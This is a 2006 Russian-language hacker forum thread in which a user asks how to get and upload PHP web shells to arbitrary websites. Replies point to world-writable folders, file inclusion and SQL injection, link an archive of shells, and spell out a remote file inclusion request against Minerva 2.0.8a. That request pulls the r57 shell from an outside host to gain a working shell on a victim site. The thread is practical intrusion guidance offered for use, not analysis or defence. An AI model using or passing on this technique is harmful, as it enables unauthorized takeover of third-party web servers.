Шеллы

Discussion in 'Уязвимости' started by -=ka$at1k=-, 25 Jun 2006.

Thread Status:
Not open for further replies.
  1. -=ka$at1k=-

    -=ka$at1k=- Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    42
    Likes Received:
    6
    Reputations:
    3
    Где найти всякие shell.php для движков?
    а точнее, как его туда залить (я имею ввиду любой движок, не конкретный).... Какие есть способы получения прав для заливки на сайт (форум) любых файлов с последующим их запуском? help!
     
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    ну что за вопросы пошли??
    ответ: в папках с правами 777.
    php-including, sql-injection
     
  3. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Helkern жжош а гугл на что
    Вот качай ТУТ (ето сцылка) архив с набором шеллов!!!!

    Как запускать ща покажу на примери инклудинга
    (сущесьвует еще масса способов но етот имхо самый легкий)
    Вот дапустим в Minerva 2.0.8a Build 237 есть ета бага
    запрос такой

    http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts]

    Теперь ищеш пагу на Minerva. нашол. даёш такой запрос

    http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=http://rst.void.ru/download/r57shell.txt?
    (вместо http://rst.void.ru/download/r57shell.txt мона подставить любую сцылку на шелл)

    Всё у тя есть рабочий шелл!!!

    Что то я увлёкся прям статья почти получилась)))))))
     
    2 people like this.
  4. -=ka$at1k=-

    -=ka$at1k=- Elder - Старейшина

    Joined:
    17 Jun 2006
    Messages:
    42
    Likes Received:
    6
    Reputations:
    3
    спасиба народ .... :) большое спасибо!!
     
  5. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Zitt'у хватило терпения объяснить это все.Тема закрыта.
    Топегстартер, научись пользовацца www.google.com
     
Thread Status:
Not open for further replies.